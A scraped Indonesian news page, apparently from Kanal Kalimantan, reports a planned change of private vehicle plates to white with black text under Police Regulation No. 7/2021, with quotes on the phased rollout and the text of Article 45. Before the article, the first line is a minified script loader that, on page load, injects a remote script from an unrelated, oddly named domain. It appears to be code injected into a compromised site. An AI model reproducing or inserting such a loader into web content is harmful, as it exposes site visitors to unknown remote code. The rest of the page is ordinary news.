(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

BARU! Pelat Kendaraan Pribadi Akan Diubah Jadi Putih Tulisan Hitam


KANALKALIMANTAN.COM, JAKARTA- Korlantas Polri mengubah warna pelat kendaraan pribadi dari latar belakang hitam tulisan putih, menjadi latar belakang putih tulisan hitam. Peraturan itu tertuang dalam Peraturan Kepolisian Nomor 7 Tahun 2021 tentang Registrasi dan Identifikasi Kendaraan Bermotor.

Kasubdit STNK Korlantas Polri Kombes Taslim Chairuddin menyebut perubahan warna pelat kendaraan pribadi dari hitam ke putih belum bisa dilaksanakan sekarang. Taslim mengatakan peraturan itu baru bisa diterapkan tahun depan.

“Belum (bisa diterapkan). Kan perlu disiapkan materilnya, bahan catnya. Itu harus mengikuti mekanisme teknis pengadaan barang dan jasa pemerintah dan mengikuti manajemen anggaran negara. Dialokasikan anggarannya tahun ini dan baru dapat digunakan tahun depan,” ujar Taslim kepada wartawan, Kamis (12/8/2021), dilansir detik.com.

Taslim mengungkapkan penggantian warna pelat kendaraan pribadi juga harus dilakukan secara bertahap. Misalnya, mulai diterapkan pada orang-orang yang memiliki kendaraan baru terlebih dahulu yang tidak perlu menunggu masa pakai pelat hitam habis.

 

 

Baca juga: Siap-siap, Penggolongan SIM C Baru Dikebut Bulan Ini

“Pelaksanaannya di lapangan nanti juga bertahap. Kita mulai dari kendaraan baru daftar, perpanjangan STNK 5 tahunan, balik nama atau memang ada perubahan NRKB (Nomor Registrasi Kendaraan Bermotor), karena TNKB (Tanda Nomor Kendaraan Bermotor) pada dasarnya menjadi hak milik pemilik kendaraan bermotor karena dibebankan PNBP. Makanya ketika akan diganti menunggu masa pakainya habis,” tuturnya.

Dalam Peraturan Kepolisian Nomor 7 Tahun 2021 tentang Registrasi dan Identifikasi Kendaraan Bermotor, pelat nomor kendaraan sudah dipastikan berubah warna. Hal tersebut tertulis dalam Pasal 45, yakni:

(1) TNKB sebagaimana dimaksud dalam Pasal 44 ayat (1) berwarna dasar:

a. putih, tulisan hitam untuk Ranmor perseorangan, badan hukum, PNA dan Badan Internasional;

b. kuning, tulisan hitam untuk Ranmor umum;

c. merah, tulisan putih untuk Ranmor instansi pemerintah; dan

d. hijau, tulisan hitam untuk Ranmor di kawasan perdagangan bebas yang mendapatkan fasilitas pembebasan bea masuk dan berdasarkan ketentuan peraturan perundang-undangan.

(2) Warna TNKB sebagaimana dimaksud pada ayat (1) ditambahkan tanda khusus untuk Ranmor listrik yang ditetapkan dengan Keputusan Kakorlantas Polri.

(3) TNKB dipasang pada tempat yang disediakan di bagian depan dan belakang ranmor yang mudah terlihat dan teridentifikasi

Baca juga: Detik-detik Ketua MUI Kecelakaan di Tol Semarang, Sopir Truk yang Terlibat Tabrakan Kabur

(4) Standardisasi spesifikasi teknis TNKB ditetapkan dengan Keputusan Kakorlantas Polri.

(5) Pengadaan material TNKB diselenggarakan secara terpusat oleh Korlantas Polri.

Adapun Peraturan Kepolisian Nomor 7 Tahun 2021 Tentang Registrasi dan Identifikasi Kendaraan Bermotor dan menggantikan Peraturan Kepala Kepolisian Nomor 5 Tahun 2012 tentang Registrasi Kendaraan dan Identifikasi Kendaraan Bermotor.(isa/detik)

Editor: cell


Risa

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

13 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

13 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

14 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

18 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

21 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

21 jam ago

This website uses cookies.